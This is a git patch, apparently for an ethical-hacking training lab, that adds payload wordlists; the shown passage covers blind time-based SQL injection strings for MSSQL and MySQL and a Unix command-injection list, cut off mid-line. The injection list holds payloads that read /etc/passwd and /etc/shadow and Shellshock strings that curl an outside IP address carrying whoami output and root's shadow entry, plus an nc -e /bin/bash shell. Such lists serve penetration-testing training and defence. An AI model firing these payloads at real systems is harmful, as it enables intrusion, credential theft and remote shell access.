From 6832e4a84df8d9d01811a33ea295e924a584d020 Mon Sep 17 00:00:00 2001 From: Omar Santos Date: Wed, 28 Jul 2021 01:23:27 -0400 Subject: [PATCH] adding additional payloads --- more_payloads/README.md | 4 + more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt | 107 + more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt | 41 + more_payloads/SQLi/sql-blind-MySQL-INSERT.txt | 90 + .../SQLi/sql-blind-MySQL-ORDER_BY.txt | 18 + more_payloads/SQLi/sql-blind-MySQL-WHERE.txt | 45 + more_payloads/command_injection_unix.txt | 102 + more_payloads/more-xxs-payloads.txt | 6606 +++++++++++++++++ more_payloads/mssql-enumeration.txt | 11 + .../mysql-injection-login-bypass.txt | 5 + more_payloads/mysql-read-local-files.txt | 1 + more_payloads/postgres-enumeration.txt | 19 + .../server-side-template-injection.txt | 48 + more_payloads/xss_obfuscation_vectors.txt | 673 ++ more_payloads/xxe-injection-payloads.md | 141 + 15 files changed, 7911 insertions(+) create mode 100644 more_payloads/README.md create mode 100644 more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt create mode 100644 more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt create mode 100644 more_payloads/SQLi/sql-blind-MySQL-INSERT.txt create mode 100644 more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt create mode 100644 more_payloads/SQLi/sql-blind-MySQL-WHERE.txt create mode 100644 more_payloads/command_injection_unix.txt create mode 100644 more_payloads/more-xxs-payloads.txt create mode 100644 more_payloads/mssql-enumeration.txt create mode 100644 more_payloads/mysql-injection-login-bypass.txt create mode 100644 more_payloads/mysql-read-local-files.txt create mode 100644 more_payloads/postgres-enumeration.txt create mode 100644 more_payloads/server-side-template-injection.txt create mode 100644 more_payloads/xss_obfuscation_vectors.txt create mode 100644 more_payloads/xxe-injection-payloads.md diff --git a/more_payloads/README.md b/more_payloads/README.md new file mode 100644 index 0000000..8b18ea8 --- /dev/null +++ b/more_payloads/README.md @@ -0,0 +1,4 @@ +# A Collection of Miscellaneous Payloads for WebSploit Labs +This is a collection of different payloads for [WebSploit Labs](https://websploit.org/). [WebSploit Labs](https://websploit.org/) is a learning environment created by Omar Santos for different Cybersecurity Ethical Hacking (Web Penetration Testing) training sessions. WebSploit includes several intentionally vulnerable applications running in Docker containers on top of Kali Linux or Parrot Security OS, several additional tools, and over 8,000 cybersecurity resources. WebSploit comes with over 400 distinct exercises! + + diff --git a/more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt b/more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt new file mode 100644 index 0000000..8c7d6d0 --- /dev/null +++ b/more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt @@ -0,0 +1,107 @@ +)%20waitfor%20delay%20'0:0:20'%20/* +)%20waitfor%20delay%20'0:0:20'%20-- +')%20waitfor%20delay%20'0:0:20'%20/* +')%20waitfor%20delay%20'0:0:20'%20-- +")%20waitfor%20delay%20'0:0:20'%20/* +")%20waitfor%20delay%20'0:0:20'%20-- +))%20waitfor%20delay%20'0:0:20'%20/* +))%20waitfor%20delay%20'0:0:20'%20-- +'))%20waitfor%20delay%20'0:0:20'%20/* +'))%20waitfor%20delay%20'0:0:20'%20-- +"))%20waitfor%20delay%20'0:0:20'%20/* +"))%20waitfor%20delay%20'0:0:20'%20-- +,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL)%20waifor%20delay%20'0:0:20'%20/* +',NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL)%20waifor%20delay%20'0:0:20'%20/* +'),NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- diff --git a/more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt b/more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt new file mode 100644 index 0000000..0fa2fc6 --- /dev/null +++ b/more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt @@ -0,0 +1,41 @@ + + waitfor delay '0:0:20' /* + waitfor delay '0:0:20' -- +' waitfor delay '0:0:20' /* +' waitfor delay '0:0:20' -- +" waitfor delay '0:0:20' /* +" waitfor delay '0:0:20' -- +) waitfor delay '0:0:20' /* +) waitfor delay '0:0:20' -- +)) waitfor delay '0:0:20' /* +)) waitfor delay '0:0:20' -- +))) waitfor delay '0:0:20' /* +))) waitfor delay '0:0:20' -- +)))) waitfor delay '0:0:20' /* +)))) waitfor delay '0:0:20' -- +))))) waitfor delay '0:0:20' -- +)))))) waitfor delay '0:0:20' -- +') waitfor delay '0:0:20' /* +') waitfor delay '0:0:20' -- +") waitfor delay '0:0:20' /* +") waitfor delay '0:0:20' -- +')) waitfor delay '0:0:20' /* +')) waitfor delay '0:0:20' -- +")) waitfor delay '0:0:20' /* +")) waitfor delay '0:0:20' -- +'))) waitfor delay '0:0:20' /* +'))) waitfor delay '0:0:20' -- +"))) waitfor delay '0:0:20' /* +"))) waitfor delay '0:0:20' -- +')))) waitfor delay '0:0:20' /* +')))) waitfor delay '0:0:20' -- +")))) waitfor delay '0:0:20' /* +")))) waitfor delay '0:0:20' -- +'))))) waitfor delay '0:0:20' /* +'))))) waitfor delay '0:0:20' -- +"))))) waitfor delay '0:0:20' /* +"))))) waitfor delay '0:0:20' -- +')))))) waitfor delay '0:0:20' /* +')))))) waitfor delay '0:0:20' -- +")))))) waitfor delay '0:0:20' /* +")))))) waitfor delay '0:0:20' -- diff --git a/more_payloads/SQLi/sql-blind-MySQL-INSERT.txt b/more_payloads/SQLi/sql-blind-MySQL-INSERT.txt new file mode 100644 index 0000000..bc2c26a --- /dev/null +++ b/more_payloads/SQLi/sql-blind-MySQL-INSERT.txt @@ -0,0 +1,90 @@ ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 diff --git a/more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt b/more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt new file mode 100644 index 0000000..54534e9 --- /dev/null +++ b/more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt @@ -0,0 +1,18 @@ +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 diff --git a/more_payloads/SQLi/sql-blind-MySQL-WHERE.txt b/more_payloads/SQLi/sql-blind-MySQL-WHERE.txt new file mode 100644 index 0000000..5fb4a74 --- /dev/null +++ b/more_payloads/SQLi/sql-blind-MySQL-WHERE.txt @@ -0,0 +1,45 @@ + and 0=benchmark(3000000,MD5(1))%20/* + and 0=benchmark(3000000,MD5(1))%20-- + and 0=benchmark(3000000,MD5(1))%20%23 +' and 0=benchmark(3000000,MD5(1))%20/* +' and 0=benchmark(3000000,MD5(1))%20-- +' and 0=benchmark(3000000,MD5(1))%20%23 +" and 0=benchmark(3000000,MD5(1))%20/* +" and 0=benchmark(3000000,MD5(1))%20-- +" and 0=benchmark(3000000,MD5(1))%20%23 +) and 0=benchmark(3000000,MD5(1))%20/* +) and 0=benchmark(3000000,MD5(1))%20-- +) and 0=benchmark(3000000,MD5(1))%20%23 +)) and 0=benchmark(3000000,MD5(1))%20/* +)) and 0=benchmark(3000000,MD5(1))%20-- +)) and 0=benchmark(3000000,MD5(1))%20%23 +))) and 0=benchmark(3000000,MD5(1))%20/* +))) and 0=benchmark(3000000,MD5(1))%20-- +))) and 0=benchmark(3000000,MD5(1))%20%23 +)))) and 0=benchmark(3000000,MD5(1))%20/* +)))) and 0=benchmark(3000000,MD5(1))%20-- +)))) and 0=benchmark(3000000,MD5(1))%20%23 +') and 0=benchmark(3000000,MD5(1))%20/* +') and 0=benchmark(3000000,MD5(1))%20-- +') and 0=benchmark(3000000,MD5(1))%20%23 +") and 0=benchmark(3000000,MD5(1))%20/* +") and 0=benchmark(3000000,MD5(1))%20-- +") and 0=benchmark(3000000,MD5(1))%20%23 +')) and 0=benchmark(3000000,MD5(1))%20/* +')) and 0=benchmark(3000000,MD5(1))%20-- +')) and 0=benchmark(3000000,MD5(1))%20%23 +")) and 0=benchmark(3000000,MD5(1))%20/* +")) and 0=benchmark(3000000,MD5(1))%20-- +")) and 0=benchmark(3000000,MD5(1))%20%23 +'))) and 0=benchmark(3000000,MD5(1))%20/* +'))) and 0=benchmark(3000000,MD5(1))%20-- +'))) and 0=benchmark(3000000,MD5(1))%20%23 +"))) and 0=benchmark(3000000,MD5(1))%20/* +"))) and 0=benchmark(3000000,MD5(1))%20-- +"))) and 0=benchmark(3000000,MD5(1))%20%23 +')))) and 0=benchmark(3000000,MD5(1))%20/* +')))) and 0=benchmark(3000000,MD5(1))%20-- +')))) and 0=benchmark(3000000,MD5(1))%20%23 +")))) and 0=benchmark(3000000,MD5(1))%20/* +")))) and 0=benchmark(3000000,MD5(1))%20-- +")))) and 0=benchmark(3000000,MD5(1))%20%23 diff --git a/more_payloads/command_injection_unix.txt b/more_payloads/command_injection_unix.txt new file mode 100644 index 0000000..5803d6f --- /dev/null +++ b/more_payloads/command_injection_unix.txt @@ -0,0 +1,102 @@ +<!--#exec%20cmd="/bin/cat%20/etc/passwd"--> +<!--#exec%20cmd="/bin/cat%20/etc/shadow"--> +<!--#exec%20cmd="/usr/bin/id;--> +<!--#exec%20cmd="/usr/bin/id;--> +/index.html|id| +;id; +;id +;netstat -a; +;system('cat%20/etc/passwd') +;id; +|id +|/usr/bin/id +|id| +|/usr/bin/id| +||/usr/bin/id| +|id; +||/usr/bin/id; +;id| +;|/usr/bin/id| +\n/bin/ls -al\n +\n/usr/bin/id\n +\nid\n +\n/usr/bin/id; +\nid; +\n/usr/bin/id| +\nid| +;/usr/bin/id\n +;id\n +|usr/bin/id\n +|nid\n +`id` +`/usr/bin/id` +a);id +a;id +a);id; +a;id; +a);id| +a;id| +a)|id +a|id +a)|id; +a|id +|/bin/ls -al +a);/usr/bin/id +a;/usr/bin/id +a);/usr/bin/id; +a;/usr/bin/id; +a);/usr/bin/id| +a;/usr/bin/id| +a)|/usr/bin/id +a|/usr/bin/id +a)|/usr/bin/id; +a|/usr/bin/id +;system('cat%20/etc/passwd') +;system('id') +;system('/usr/bin/id') +%0Acat%20/etc/passwd +%0A/usr/bin/id +%0Aid +%0A/usr/bin/id%0A +%0Aid%0A +& ping -i 30 127.0.0.1 & +& ping -n 30 127.0.0.1 & +%0a ping -i 30 127.0.0.1 %0a +`ping 127.0.0.1` +| id +& id +; id +%0a id %0a +`id` +$;/usr/bin/id +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`" +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`" +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`" +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`" +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`" +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 